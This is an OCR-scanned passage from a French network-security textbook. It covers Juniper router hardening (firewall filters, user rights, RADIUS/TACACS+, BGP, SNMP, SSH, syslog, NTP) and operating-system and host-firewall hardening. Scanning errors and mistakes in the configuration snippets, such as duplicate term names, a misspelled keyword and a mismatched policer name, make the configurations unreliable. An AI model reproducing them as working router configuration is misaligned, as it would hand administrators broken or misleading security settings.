10.0.0.0/8 longer ; 

172.16.0.0/12 longer ; 

etc. 
} 

Configuration du filtrage du trafic sur les interfaces 

Un routeur est capable de filtrer les paquets IP en se fondant sur un pare-feu permettant 
de definir un ensemble de regies de filtrage. 

Les filtres sont composes d'une condition de comparaison et d'une action, comme ci- 
dessous : 

[edit] 
firewall { 

family family-name { 

/* Norn du filtre */ 
filter filter-name { 

/* Numero de regie */ 
term term-name { 
from { 

/* Condition de comparaison */ 

match-conditions ; 

} 
then { 

/* Action */ 
action ; 

action-modifiers ; 
} 
} 
} 
} 
} 
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Un filtre correspond done a un ensemble de termes. Chaque terme contient une condition 
de comparaison et une action associee. Une condition de comparaison s'appuie generale- 
ment sur les adresses source et destination, ainsi que sur les ports UDP et TCP source et 
destination. 

Voici un exemple de protection du trafic entrant sur une interface reseau d'un routeur : 

interfaces { 

traceoptions { 

/* Rotation sur 5 fichiers de 1 Mo chacun */ 
file log-interfaces size lm files 5; 



/* Detecte les changements de configuration */ 
flag change-events; 



} 



ge-0/0/0 { 

description "Interface externe"; 

/* Permet d'emettre des snmp traps */ 

traps; 

link-mode full-duplex; 

unit { 

family inet { 

/* Ne permet pas ICMP redirects */ 
no-redi rects; 

/* Filtrage entrant */ 
filter { 

input inbound-filter; 
} 

address 10.5.5.254/24; 



firewall { 



filter inbound-filter { 

/* Limite le trafic ICMP a 500k/s */ 
policer icmp-500k { 
if -exceeding { 

bandwidth-limit 500k; 

burst-size-limit 62k; 

} 

then discard; 
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} 

/* Filtrage anti-spoofing des adresses sources */ 
term reglel { 
from { 

source-address { 

10.1.1.0/24 ; 
} 

} 

then discard ; 
} 

/* Limite le trafic ICMP */ 
term regle2 { 
from { 

protocol icmp; 

} 
then { 

count pol icer-icmp-500k; 

policer icmp-500k; 
} 
} 

/* Permet l'acces aux adresses internes autorisees */ 
term regle3 { 
from { 

destination-address { 

10.1.1.0/24 ; 
} 
} 

then accept; 
} 

/* Detruit le reste du trafic */ 
term default-action { 

then discard; 
} 
} 
} 

Les actions possibles lorsqu'un paquet correspond a une condition de comparaison sont 
les suivantes : 

• accept : le paquet est accepte et envoye vers sa destination. 

• di sea rd : le paquet n'est pas accepte, et aucune action secondaire ne lui est appliquee. 

• next-term : le paquet est envoye au prochain terme du fUtre. 

• reject : le paquet n'est pas accepte, et un message de rejet est genere. 
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Des actions secondaires peuvent alors etre executees (sauf dans le cas de Taction 
di scard), notamment les suivantes : 

• count : ajoute 1 a un compteur de paquets. 

• log: journalise le paquet dans un journal d'evenements local. 

• sy si og : envoie une alerte syslog. 

Les termes d'un flltre sont e values les uns apres les autres de maniere sequentielle. Si une 
condition de comparaison d'un terme correspond a un paquet, Taction speciflee est 
executee. Si aucune action n'est configuree, le paquet est accepte. En revanche, si aucun 
terme ne correspond au paquet, le paquet est rejete. 

V 

A ce stade, il est possible d'appliquer un flltre a une interface donnee en entree ou en 
sortie : 

edit intearface ifname unit unit-number family family] 
filter { 

input filter-name ; 

output filter-name ; 
} 

Configuration des droits des utilisateurs 

La gestion des droits des utilisateurs est realisee par le biais de classes, comme Tillustre 
la commande suivante : 

[edit system] 
login { 

class class-name { 

al low- commands "regular -express ion" ; 

al low-configuration "regular- express ion" ; 

deny-commands "regul ar-expression" ; 

deny-configuration "regul ar-expression" ; 

idle-timeout minutes ; 

permissions [ permissions ]; 
} 

Une classe peut etre associee a un ou plusieurs utilisateurs et permet de deflnir un ensem- 
ble de droits, notamment les suivants : 

• commandes du mode operationnel autorisees (al low-commands) ou interdites (deny- 
commands) ; 

• commandes du mode de configuration autorisees (al 1 ow-conf i gurati on) ou interdites 
(deny-configuration) ; 

• duree maximale d'une session ouverte ainsi que droits specifies ; 

• droits d'acces en lecture et/ou ecriture sur certaines parties de la configuration et acces 
aux commandes du mode operationnel. 

Quatre classes d'acces sont definies par defaut, avec les permissions suivantes : 
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• operator : clear, network, reset, trace, view ; 

• read-only : view ; 

• super-user : al 1 ; 

• unauthorized : none. 

Configuration de la definition des utilisateurs locaux 

Les utilisateurs locaux sont deflnis a l'aide de la commande suivante : 

user user-name { 

full -name complete-name ; 
uid uid-value ; 
class class-name ; 
authentication { 

(encrypted-password "password " plain-text-password); 
ssh-rsa "public- key" ; 
ssh-dsa "public-key" ; 
} 
} 

Un utilisateur est done defini par son user-name, auquel il est possible d'associer les 
elements suivants : 

• nom complet (f ul 1 -name) ; 

• classe de droit (cl ass -name) ; 

• identiflant numerique unique (uid) ; 

• authentiflcation (mot de passe ou paire de cles RSA/DSA). 

Configuration de la definition de I'utilisateur root 

Un routeur Juniper possede par defaut un compte root, ou « super-administrateur ». 

Ce compte dispose de tous les droits, mais il est possible de le modifier par le biais de la 
commande suivante : 

[edit system] 
root-authentication { 

(encrypted-password "passwd" |plain-text-password) ; 

ssh-rsa "public- key" ; 

ssh-rda "public-key" 
} 

Les authentiflcations possibles sont soit un mot de passe, soit une paire de cles RSA/ 
DSA. 

Configuration TACACS+ ou RADIUS 

En cas de redirection de 1' authentiflcation des utilisateurs sur un serveur RADIUS ou 
TACACS+, il est necessaire d'utiliser les commandes suivantes : 
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[edit system] 

/* Adresse IP du serveur */ 

radius-server ©address { 

/* Port a utiliser pour les echanges RADIUS */ 
port number ; 

/* Secret partage pour authentifier les echanges */ 
secret secret ; 

/* Nombre d'essais pour une requete */ 
retry number ; 



/* Temps d'attente d'une reponse du serveur a une requete */ 
timeout seconds ; 



} 



/* Adresse IP du serveur */ 
tacplus-server ©address { 

/* Secret partage pour authentifier les echanges */ 
secret secret ; 

/* Utilisation d'une seule connexion TCP */ 
single-connection ; 

/* Temps d'attente d'une reponse du serveur a une requete */ 
timeout seconds ; 
} 

L'ordre d' usage des methodes d' authentification d'un utilisateur est defini par la 
commande suivante : 



i 



[edit system] 
authentication-order [ methods ] 



Les methodes d' authentification possibles sont les suivantes : 

• radi us : utilisation des services RADIUS ; 

• tacpl us : utilisation des services TACACS+ ; 

• password : utilisation d'une authentification par mot de passe en utilisant les donnees 
de configuration locales des utilisateurs. 

Configuration des protocoles de routage 

Les protocoles de routage necessitent d'etre proteges afin d'eviter tout impact sur l'ache- 
minement des paquets dans le reseau. 

Voici un exemple de configuration du protocole de routage BGP (Border Gateway Proto- 
col) dans lequel differents mecanismes de protection de securite sont actives (on limite la 
table de routage a 100 000 prefixes BGP) : 



Securite des equipements reseau 



249 



Chapitre 9 



[edit] 
protocols { 

bgp { 

family inet { 
any { 



prefix limit { 

/* Limite de 100 000 routes */ 
maximum 100000 ; 

/* Messages d'avertissement a 90 % */ 
/* Deconnexion definitive */ 
teardown 90 forever ; 



} 

Pour authentifler les voisins BGP a l'aide d'un secret partage, on utilise la commande 
suivante : 

[edit] 
protocols { 

bgp { 

group group_name { 

/* Secret partage pour une session BGP */ 
authentication-key key ; 
} 
} 
} 

Pour controler les instabilites de routes BGP, on utilise la commande suivante : 

[edit] 
protocols { 

bgp { 

/* Activation du "dampening" des routes BGP */ 

damping ; 
} 

Pour controler les routes BGP importees, par exemple en rejetant les routes multicast et 
les routes annoncees avec un AS prive, on utilise la commande suivante : 

[edit] 
protocols { 

group eBGP_name { 

/* Le voisin est un AS externe */ 
type external ; 

/* Control e des routes importees */ 
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import [ nobogons noprivateAS ] ; 



} 



/* Definition de la politique nobogons */ 

[edit] 

policy-options { 

policy-statement nobogons{ 

/* Rejet des routes multicast et au-dela */ 
from route-filter 224.0.0.0/4 orlonger reject ; 
} 
} 

/* Definition de la politique noprivateas */ 

[edit] 

policy-options { 

policy-statement noprivateas! 

/* Rejet des routes contenant un AS prive */ 
from as-path private ; 
then reject ; 
} 
as-path private AS1-AS2 ; 

} 



Configuration SNMP 

Les versions SNMP supportees sont vl, v2c et v3. Bien que les versions superieures a vl 
offrent de meilleurs services de securite, nous detaillons uniquement la configuration 
SNMP vl : 

[edit] 
snmp { 

community community-name { 

authorization authorization ; 
clients { 

address restrict; 
} 



view view-name; 



} 



interface [ interface-name ]; 

traceoptions { 

file size size files number; 

flag flag; 
} 

trap-group group-name { 
categories category; 
destination -port <port-number>; 
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targets { 
address; 



version version; 
} 

trap-options { 

agent -address outgoing -interface; 

source-address address; 
} 

view view-name; { 

oid object-identifier (include exclude) 
} 
} 

Une vue est une partie de la MIB. Elle est definie par la commande suivante 

[edit snmp] 
view view-name { 

oid object-identifier (include exclude) 
} 

Les communautes sont deflnies par la commande suivante : 

[edit snmp] 

community community-name { 

/* Droits associes a la communaute : read-only, read-write */ 
authorization authorization ; 

/* Limite l'acces des clients potentiels */ 
clients { 

default restrict; 

address/prefix <restrict> ; 
} 

/* Limite la vue associee a cette communaute */ 
view view-name; 



Configuration SSH (Secure Shell) 

L'exemple ci-dessous porte sur la configuration et l'activation de SSH vl ou v2 
(1' authentication peut etre effectuee au moyen de cles ou par mot de passe) : 

[edit system] 
services { 

/* Configuration ssh */ 

ssh { 

/* 5 sessions ssh concurrentes autorisees */ 
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connection-limit 5 ; 

/* 5 tentatives de connexions par minute */ 
rate-limit 5 ; 

/* Version du protocole ssh vl et v2 */ 
protocol -version vl v2 ; 

/* Interdiction de se connecter en root */ 
root-login deny ; 



Configuration de la journalisation des evenements 

Les evenements survenant sur un routeur peuvent etre journalises a l'aide du protocole 
syslog. 

La configuration de syslog se realise de la fa^on suivante : 

[edit system] 
syslog { 



archive { 

files number ; 

size size ; 

(world-readable 
} 



no-world-readable) ; 



/* Les messages d'evenements sont envoyes dans un fichier */ 
file filename { 

facility level ; 
archive { 

files number ; 
size size ; 

(world- readable no-world- readable) ; 
} 
} 

/* Les messages d'evenements sont envoyes vers un serveur */ 
/* syslog */ 
host hostname { 

facility level ; 

facility-override facility; 

log-prefix string; 
} 

/* Les messages d'evenements sont envoyes vers un port */ 
/* console d'un utilisateur */ 
user (username *) { 
facility level ; 
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} 

/* Les messages d'evenements sont envoyes vers le port */ 
/* console systeme */ 
console { 

facility level ; 
} 
} 

Les messages envoyes a ces destinations peuvent etre marques avec un degre d'urgence 
(1 evel ), mais aussi une classe (f aci 1 i ty) permettant d'identifler la source. 

Configuration NTP (Network Time Protocol) 

Arm de dater tous les evenements survenant sur un routeur et realiser des correlations, il 
peut etre necessaire de configurer un serveur de temps NTP de la fa^on suivante : 

[edit system] 
ntp { 

/* Valeur de la cle pour 1 'authentification */ 

authentication-key number type type value password ; 

/* Adresse du serveur NTP interroge lors du demarrage 

du routeur */ 
boot-server address ; 

/* Adresse du serveur NTP interroge de maniere 

periodique */ 
server address ; 
} 

Configuration d'un message d'avertissement 

Une banniere de login peut etre conflguree de la fa^on suivante : 

[edit] 
system { 

login { 

message message ; 

} 
} 

Voici un message type qui peut etre configure : 

L'acces a ce systeme n'est autorise qu'aux seuls personnels habilites. Toute tentative 
d'acces ou tout acces non autorise sera poursuivi conformement a la loi. 

Only authorized users can access this system. All attempts of intrusion or intrusions! 
will be prosecuted according laws. 
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Configuration des acces au routeur 

Cette section detaille les acces d' administration a un routeur et les protections a mettre en 
place pour se premunir de toute faiblesse de configuration sur une des parties les plus 
sensibles de la configuration des routeurs. 

Les differentes methodes d' acces a un routeur sont les suivantes : 

• port console (cable RS-232, hyperterminal) ; 

• port auxiliaire (cable RS-232, modem) ; 

• interface dediee utilisee pour un acces d' administration hors bande ; 

• interface dediee utilisee pour un acces d' administration dans la bande. 

La protection du routeur ou des acces au routeur est realisee via 1' interface loopbackO 
(loO), qui re^oit les demandes de connexion administrative distante, les paquets de 
routage et tout trafic destine au routeur (voir figure 9.5). 



Routeur 




Administration (Management 
Plan) 

Gestion du routage 
(Control Plane) 



I 



Interface Loopback(IO) : 
application d'un filtre pardeu 



Commutation 
des paquets 
(Data Plane) 



Interface d'entree 




Interface de sortie 



Figure 9.5 

Controle du trafic a destination d'un routeur Juniper 



Cette interface genere en outre les paquets de donnees issues du routeur (paquet ICMP, 
de routage, etc.). L'exemple ci-apres illustre la configuration d'un flltrage classique de 
controle de trafic pour un routeur : 



i 



[edit firewall family inet] 
filter protection-routeur { 
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/* Limitation de la bande passante ssh */ 
pol icer ssh-pol icy { 
if -exceeding { 

/* Limitation 2 Mo/s */ 

bandwitdth-limit 2m ; 

/* Nombre d'octets de burst autorises */ 
burst-size-limit 200k ; 



} 

then discard ; 



} 



/* Limitation de 1 'utilisation de la bande passante icmp */ 
pol icer icmp-policy { 
if -exceeding { 

/* Limitation 2 Mo/s */ 

bandwitdth-limit 2m ; 

/* Nombre d'octets de burst autorises */ 
burst-size-limit 200k ; 



} 

then discard ; 



} 



/* Filtre tcp */ 
term tcp-1 i mi t { 
from { 

source-address { 
ip_admin_range ; 

} 

protocol tcp ; 

tcp-flags "(syn & lack) 

} 
then { 

accept ; 
} 
} 



fin rst) 



/* Filtre ssh */ 
term tcp-1 i mi t { 
from { 

source-address { 

ip_admin_range ; 
} 

protocol tcp ; 
destination-port ssh ; 

} 
then { 

pol icer ssh-lm ; 

accept ; 
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} 



/* Filtre snmp, radius */ 
term utility-1 imit { 
from { 

source-address { 

ip_admin_range ; 
} 

protocol udp ; 

destination-port [snmp, radius] ; 
} 
then { 

accept ; 
} 
} 

/* Filtre icmp */ 
term icmp- limit { 
from { 

protocol icmp ; 

icmp-type [ echo-request echo-reply unreacheable 
time-exceeded source-quench ] ; 

} 
then { 

policer icmp-policy ; 

accept ; 
} 



} 



term default-action { 

then discard; 
} 



En resume 



Les equipements reseau sont generalement des « boites noires », sur lesquelles il est 
difficile d' avoir un controle en profondeur, excepte pour les aspects de configuration. Par 
consequent, les configurations des equipements reseau sont critiques pour la securite 
d'un reseau et de ses services. Comme nous l'avons vu dans ce chapitre, tous les 
elements de configuration doivent etre etudies afln de repondre au mieux aux exigences 
de securite de l'entreprise. 

Certains equipements reseau reposent sur des serveurs, dotes de systemes d' exploitation 
non proprietaries, tels que Unix, etc., afln de fournir des services reseau (DNS, NTP, 
DHCP, etc.). Sachant que la securite de ces services depend aussi de la securite de ces 
serveurs, nous detaillons au chapitre suivant les elements de securite de ces systemes. 



10 



Protection des systemes 
et des applications re sea u 



Tout reseau est construit dans le but d'offrir des services a valeur ajoutee implementes 
sur des systemes dedies. Nous detaillons dans ce chapitre les principes et techniques qui 
guident la protection de ces systemes ainsi que la securisation des programmes associes. 

Le principe essentiel que doit suivre une telle protection peut se resumer de la fa^on 
suivante : « Implementation de tous les services, mais uniquement de ceux-ci, ni plus ni 
moins. » 

Le maillon faible d'un systeme d' exploitation, par exemple, est constitue par un 
programme imprevu qu'il est possible d'invoquer a distance. II peut aussi s'agir d'un 
programme serveur, legitime dans le contexte du service qu'il fournit, mais offrant une 
« caracteristique » illegitime. Par exemple, si un serveur doit etre gere a distance, mais 
uniquement a partir d'une zone reseau predeterminee, il faut que le service SSH soit 
exclusivement disponible depuis cette zone d' administration, et surtout pas depuis une 
zone publique telle qu' Internet. 

Cet exemple illustre la necessaire complementarite de ces protections avec les aspects 
purement reseau, tels qu'un routage flable permettant de controler les acces reseau a une 
base d'adresses. 

L'administrateur systeme n'a pas necessairement besoin d'outils tres puissants sur ce 
serveur. L' important est que les compilateurs, renifleurs et autres outils ne soient pas dispo- 
nibles sur un serveur public, justement a cause de leur puissance en des mains malveillantes. 

Que dire d'un serveur SSH donnant acces a un compte administrateur sans authentiflca- 
tion forte ? Cette situation est a coup sur desastreuse, puisque le tunnel chiffre SSH rend 
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toute detection d' intrusion impossible sur le reseau. Que dire d'une implementation 
fautive du protocole HTTP, permettant l'exploitation distante d'une vulnerabilite 
donnant un acces gratuit au systeme note ? Ce scenario cauchemardesque necessite 
1' application de contre-mesures immediates. 

C'est pourquoi un systeme se doit de supporter de maniere legitime les programmes 
applicatifs autorises, mais uniquement ceux-ci. De la meme maniere, un programme 
serveur doit implementer le service desire, ni plus ni moins. 

Un deuxieme principe fort est celui de la protection en profondeur. Ce principe veut que 
si une barriere vient a tomber pour une raison ou une autre, d'autres mecanismes assurent 
une protection contre une eventuelle exploitation malveillante de cette defaillance. En 
vertu de ce principe, une bonne protection reseau doit etre completee par des mecanismes 
de protection systeme et applicative. 

Evidemment, le deploiement et le maintien de la coherence de tous ces mecanismes 
requierent des efforts importants et suivis. Par exemple, la programmation defensive 
demande signiflcativement du temps et de l'expertise. Le maintien a jour des rustines 
systeme et programmatiques est fastidieux, surtout avec une base deployee importante ou 
heterogene. Comme souvent, le bon point d'equilibre passe par un compromis acceptable 
entre les ressources disponibles et le resultat desire. 



Separer les plates-formes 

Bien que couteuse, l'approche consistant a deploy er des services de nature differente sur 
des plates-formes distinctes presente les avantages suivants : 

• Plusieurs petits systemes dedies a leurs services respectifs sont beaucoup plus simples 
de conception, de securisation et de gestion que quelques gros systemes offrant beau- 
coup de services. 

• En corollaire du point precedent, 1' interrelation entre les services doit etre bien deflnie. 
Idealement, cette interrelation devrait etre nulle, ce qui est difficile a obtenir avec 
plusieurs services sur un seul systeme. 

• La compromission d'un systeme n'implique pas la compromission de tous les 
services. Les degats potentiels sont ainsi limites. 

Une telle approche implique certes un surcout de deploiement et d' administration impor- 
tant, mais elle offre en contrepartie une facilite de deploiement et de gestion. 

Beaucoup d'editeurs sont relativement lents a reagir a une vulnerabilite de leurs produits. 
Par exemple, si une societe desire acquerir un portail Web, double d'un service de tele- 
chargement de flchiers en montee et en descente et d'une plate-forme de messagerie, le 
tout supporte par un service DNS, une solution possible est d'installer sur une meme 
plate-forme, cascadee derriere un pare-feu, les services DNS, Web, FTP et de message- 
rie. Cette solution n'est evidemment pas recommandable, puisque la compromission du 
serveur Web impacterait directement le serveur DNS, facilitant grandement les attaques 
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par deni de service. De plus, la gestion de l'espace disque serait delicate, puisque la 
messagerie et le service FTP en montee se trouveraient en situation de competition. 

Une bien meilleure approche consiste a deployer trois plates-formes, supportant respecti- 
vement le service DNS, le service Web et le service FTP associe au service de message- 
rie. Dans un environnement critique, ces trois plates-formes seraient cascadees derriere 
un pare-feu, chacune sur leur propre sous-reseau. 

La segregation sur plusieurs plates-formes limite immediatement les consequences d'une 
attaque. Le serveur DNS continue a fonctionner de fa^on integre meme si le systeme de 
messagerie est completement compromis, comme l'illustre la figure 10.1 



Figure 10.1 

Segregation des serveurs 



Serveur DNS 




Serveur Web et FTP 



Serveur de messagerie 



Ce partitionnement simple et efflcace doit etre effectue en fonction de la nature et de la 
clientele du service, ainsi que du niveau de confldentialite/criticite des donnees. Par 
exemple, il est judicieux d'implementer les serveurs Web interne et public sur des plates- 
formes distinctes. 



Securiser les systemes Sexploitation 

La securisation des systemes d' exploitation est essentielle dans un contexte critique. II 
est illusoire et dangereux d'imaginer l'effectuer a l'aide de pare-feu, ces derniers permet- 
tant le transit de certains flux et n'ayant que peu de vision du comportement des serveurs. 

La securisation des systemes d' exploitation comporte en fait deux etapes : le desha- 
billage {strip-down) et le blindage {hardening). 

De nombreux documents decrivant les details techniques des systemes d' exploitation sont 
disponibles. Microsoft, Sun, RedHat et Hewlett-Packard, par exemple, distribuent gratuite- 
ment une documentation ciblee sur leurs systemes. D'autres sources independantes distri- 
buent aussi de la documentation a ce sujet, notamment les agences gouvernementales, 
comme la NS A americaine ou le Centre de securite des telecommunications canadien. 

Des experts independants, comme le Clusif (Club de la securite des systemes d'informa- 
tion fran^ais) ou la societe HSC (Herve Schauer), offrent egalement de 1' information 
precise dans leurs rubriques « Ressources » sur les systemes d' exploitation. 
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La premiere chose a identifier est la « souche » du systeme considere. Chaque souche a 
ses propres mecanismes (controle de tache, initialisation, gestion des utilisateurs, etc.), 
qui constituent les objets de la securisation. 

La figure 10.2 illustre les differentes souches des principaux systemes d' exploitation. 



Figure 10.2 

Souches des principaux 
systemes d' exploitation 



Microsoft 



Souche UNIX 




Free software Foundation 
Souche Linux 




Issue de BSD 




Issue de System V 




II est important de ne pas sous-estimer l'importance de ces etapes. Comme nous allons le 
voir, un systeme d' exploitation correctement « deshabille » et « blinde » n'a qu'un 
besoin accessoire d'un pare-feu reseau. En effet, un systeme n'executant aucun service 
n'a aucun risque d'etre compromis par 1' exploitation d'une vulnerability du serveur. Un 
des auteurs du present ouvrage a ainsi exploite un PC familial sous Windows 98 connecte 
a Internet sans pare-feu pendant des annees. Evidemment, il veillait a respecter certaines 
bonnes pratiques, comme la non-execution automatique des fichiers attaches aux cour- 
riers electroniques. 

Le processus d' installation securisee d'un systeme d' exploitation et de ses services 
s'effectue de la fa^on suivante : 

1. Installation neuve de l'OS a partir des disques originaux, la plate-forme etant deconnec- 
tee de l'exterieur. Le type d' installation est choisi en fonction du service final a suppor- 
ter et ne comprend que la base minimale necessaire a 1' execution du service. Les 
environnements de developpement comprenant compilateurs et autres puissants outils 
ne sont done pas installes. Le puriste veillera a ne meme pas installer la documentation 
systeme. Cette etape permet de s'assurer de l'integrite des executables essentiels et de 
minimiser l'exposition du systeme aux vulnerabilites actuelles et futures. 
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2. Changement du mot de passe administrateur et configuration d'un minimum de 
comptes non privilegies. L'acces administratif au systeme est configure, par exemple, 
avec des cles publiques SSH, et l'acces reseau direct sur le compte privilegie est 
desactive, de fa^on a pouvoir retracer plus facilement son utilisation. 

3. Adaptation eventuelle de la base logicielle en n'installant que les logiciels indispen- 
sables a la gestion et aux services, comme les logiciels tierce partie ou de domaine 
public. 

Sur un systeme de souche Unix ou Linux, les logiciels suivants peuvent etre 
installes : 

• Controle d'acces reseau, en remplacement ou en complement du service standard 
inetd, comme xinetd, TCP- wrapper ou IPfilter. 

• syslog-ng, un puissant systeme de journalisation en remplacement du service stan- 
dard syslogd. 

• sudo, un systeme d' execution privilegiee temporaire. 

• OpenSSH, 1' implementation du protocole SSH v2 de la distribution OpenBSD. 

4. Application de tous les patchs et rustines, telecharges depuis les sites de distribution 

V 

officiels. A ce stade, le systeme est fonctionnel. 

5. « Deshabillage » du systeme d' exploitation par la deactivation des services reseau 
inutiles ou dangereux. Cette etape de deshabillage reseau est tres importante, car un 
systeme « sourd », c'est-a-dire qui ne peut entendre certaines requetes, est complete- 
ment immunise contre les attaques ciblant ces services. Par exemple, les services 
Berkeley (rsh, rexec, rlogin), Telnet, etc., doivent etre desactives sur les systemes Unix. 

C'est surtout a cette etape et a la suivante que les documents evoques precedemment 
sont utiles. 

6. « Blindage » du systeme par application systematique de la regie du privilege 
minimal : 

• Retrogradation ou redefinition, si possible, des privileges sur les processus, les 
repertoires et les fichiers. Cette etape exige au prealable d'avoir un modele d'iden- 
tite sur les comptes et les groupes utilisateur. 

• Configuration, si possible, des executables et des fichiers statiques dans une parti- 
tion disque en lecture seule. 

• Configuration de la journalisation syslog vers un serveur hors zone bien protege et 
configure en mode « paranoia ultime ». Ce serveur sera une source d' informations 
cruciales en cas de probleme. 

• Synchronisation de l'horloge du systeme sur au moins deux sources fiables. 

• Installation et configuration d'un systeme de verification de l'integrite des reper- 
toires et fichiers stables (voir la section « Securiser le controle d'integrite »), avec 
archivage de la base de signatures. 
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• Installation et configuration du controle d' acces reseau (voir la section « Les pare- 
feu »). 

7. A ce stade, le systeme est devenu un chateau fort. II peut subir un audit independant 
en mode « boite blanche » suivi d'un audit reseau en mode « boite noire ». L'inde- 
pendance de l'auditeur est souhaitable, car elle offre l'avantage d'un ceil neuf et 
objectif. L'auditeur peut utiliser des logiciels specialises, de type « system security 
scanner » et « network security scanner ». Le resultat est discute avec l'installateur, 
lequel doit justifier ses choix. Un eventuel retour a une etape precedente depend bien 
sur du resultat. 

Une fois toutes ces etapes franchies avec succes, l'administrateur peut deploy er la plate- 
forme dans son environnement operationnel. 



Les pare-feu 



II existe deux grands types de pare-feu : ceux destines a proteger une zone en coupure de 
ligne et ceux con^us pour controler uniquement les acces au systeme note. Un pare-feu 
embarque, par exemple, ne protege que le systeme local et ses applications, la notion de 
perimetre de securite etant alors reduite a sa plus simple expression. 

Plusieurs facteurs peuvent justifier le choix de ce type de pare-feu, comme l'isolement 
topologique du serveur, une difference dans le type de controle necessaire, le niveau de 
criticite different des autres serveurs, une autorite differente, etc. Comme le pare-feu zonal, 
le pare-feu embarque peut etre « stateless », « stateful » ou « proxy » au niveau applicatif. 

Les avantages d'un pare-feu embarque resident dans la liberte qu'il offre de choisir le 
produit le mieux adapte a une situation particuliere, ainsi que dans la simplicite d'une 
configuration locale. La granularite est reduite a une seule plate-forme hebergeant peu de 
services. Par opposition, un pare-feu zonal implemente une politique de securite 
couvrant une partie de reseau, si bien qu'il ne peut controler le trafic reseau entre deux 
plates-formes sur un meme LAN. 

La gestion d'un pare-feu embarque necessite un acces au serveur. II est done difficile de 
desolidariser la gestion de la securite de celle des applications. De plus, cette gestion 
devient vite fastidieuse, meme pour un pare de taille moyenne, ce qui ne va pas sans 
risques d'erreur de configuration. 

II n' existe pas de regie universelle pour choisir entre un pare-feu zonal et des pare-feu 
embarques. Comme dans beaucoup de situations, le choix doit operer un compromis 
entre les facteurs mentionnes precedemment. 

Plusieurs produits ne sont pas traditionnellement consideres comme des pare-feu. C'est 
le cas notamment de l'exemple historique de TCP-wrapper, qui n'est qu'une couche 
intermediaire entre le demon Internet inetd et les demons applicatif s. Grace a des regies 
simples, TCP-wrapper permet ou refuse l'invocation de services reseau en fonction de 
l'adresse IP d'origine. Comme son nom l'indique, TCP-wrapper a mandat de controler 
les sessions TCP et n'est pas utilisable hors de ce contexte. 
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Le demon Internet inetd peut avantageusement etre remplace par un demon tel que xinetd 
(extended Internet Daemon). Ce demon consiste essentiellement en une integration de 
certaines fonctionnalites de TCP- wrapper dans inetd, bien qu'il y ait de nettes differences 
entre les deux, xinetd couvre 1' ensemble les services TCP et UDP mais ne permet pas de 
lancer un applicatif speciflque en fonction de l'adresse IP source. Sa riche syntaxe permet 
en revanche de controler flnement le comportement du demon, par exemple en limitant le 
nombre d'instances simultanees d'un meme service ou par de 1' information journalisee. 

Dans un contexte Linux, le systeme IPchain est un flltre de trames sans etat interne qui 
examine toutes les trames independamment les unes des autres. Sa puissance d'expres- 
sion est limitee a la « trame » et ne concerne pas la session, a la difference d'un pare-feu 
stateful. IPchain se configure en fonction des adresses IP source/destination, du proto- 
cole, du port et de la direction. Aujourd'hui tombe en desuetude, IPchain peut etre avan- 
tageusement remplace par son successeur IPtables, qui presente plusieurs avantages par 
rapport a son predecesseur, notamment le filtrage stateful et la separation claire entre le 
filtrage et la translation d'adresse. 

Con^u initialement dans un contexte BSD, le systeme IPfilter a ete porte avec succes sur 
plusieurs autres systemes d' exploitation. IPfilter est un veritable pare-feu de type state- 
ful, qui maintient l'etat des sessions en cours et associe chaque trame a la session a 
laquelle elle appartient. Cette granularite au niveau de la session permet des regies plus 
riches, meme quand il n'y a pas de veritable session, comme dans les trafics UDP et 
ICMP. IPfilter cree alors une session virtuelle. La translation d'adresse est possible, et les 
regies peuvent etre exprimees en fonction d'une interface reseau speciflque. 

Le systeme IPfilter est considere comme un des meilleurs concepts de pare-feu disponibles. 
Le tableau 10.1 recapitule les caracteristiques principales des pare-feu IPchain et IPfilter. 



Tableau 10.1 Fonctions principales des pare-feu IPchain et IPfilter 



Fonction 


IPchain 




IPfilter 


Translation d'adresse statique (NAT) 


Non 




Oui 


Translation d'adresse dynamique (NAT) 


Non 




Oui 


Translation de port (port forwarding) 


Oui 




Oui 


Masquage (masquerading) 


Oui 




Oui 


Filtrage stateful 


Non 




Oui 


Ordre devaluation des regies 


Premiere 


regie 


Premiere regie ou toutes les regies, les deux etant possibles 


Systeme d'exploitation 


Linux seulement 


BSD, Linux, Solaris, 
HP-UX, etc. 



Un autre produit remarquable de pare-feu est le FWTK (Firewall Toolkit) de Markus 
Ranum. 

Ancetre de tous les pare-feu, puisqu'il fut le premier authentique pare-feu disponible, il 
se deploie en mode embarque aussi bien qu'en mode zonal. La caracteristique principale 
de FWTK est qu'il opere au niveau applicatif a l'aide de plusieurs proxy. 
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Comme son nom l'indique, FWTK est d'abord une boite a outils permettant de develop- 
per soi-meme un pare-feu, bien que les primitives disponibles soient riches et puissantes. 
Ainsi, le proxy HTTP permet, moyennant quelques modifications simples, d'exprimer 
sous forme d' expressions regulieres les URL legitimes qui seront reexpediees vers le 
serveur HTTPD, toutes les autres etant bloquees de fa^on que le serveur final ne les voie 
pas. II est egalement possible de specifier, en fonction de l'adresse source, un programme 
de rechange. 

II est possible de deployer FWTK sans aucun proxy, ne conservant que la fonctionnalite 
de filtrage des adresses sources. Dans un tel contexte, FWTK est a peu pres equivalent a 
TCP-wrapper, bien qu'un tel choix soit discutable, le principal interet de FWTK residant 
dans le controle au niveau applicatif. 

La figure 10.3 illustre ou s'installent ces differents types de pare-feu. 



Figure 10.3 

Emplacement des differents 
types de pare-feu 



Systeme 






Certains pare-feu recents permettent d'implementer des regies associees aux program- 
mes applicatifs, et non plus seulement aux trafics reseau source/destination. C'est la une 
evolution importante dans le modele de protection, puisque ce n'est plus la seule plate- 
forme qui est protegee, mais aussi 1' application elle-meme. 

Ce type de pare-feu necessite un systeme de verification d'integrite. Le pare-feu doit 
detecter si un programme a ete modifie, auquel cas les regies doivent etre revalidees. 

II est possible, par exemple, d'exprimer une politique telle que la suivante : 

« Seul le programme client /usr/b in/telnet pent ouvrir une session sortante vers le 
port 23. » 
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Cette evolution est surtout utile dans un contexte de controle des programmes malsains. 
Un vers serait en ce cas incapable de se propager et un cheval de Troie incapable de 
communiquer avec son auteur ou d' accepter un traflc secret. Un exemple de ce type de 
pare-feu embarque est le Desktop Firewall de McAfee. 



Securiser la gestion des droits d'acces 

II convient de distinguer la gestion des droits d'acces a une plate- forme et celle des droits 
d'acces a une application implementee par un programme. Bien que les principes qui les 
gouvernent toutes deux restent les memes, leurs details d' implementation, de deploie- 
ment et de gestion sont tres differents. 

Avant tout, 1' acces est authentifle sur une base individuelle, et le profll de chaque indi- 
vidu respecte la regie du plus bas niveau de privileges : le niveau de privileges monte sur 
une base temporaire pour effectuer une tache bien precise, pour ensuite redescendre a son 
niveau initial. 

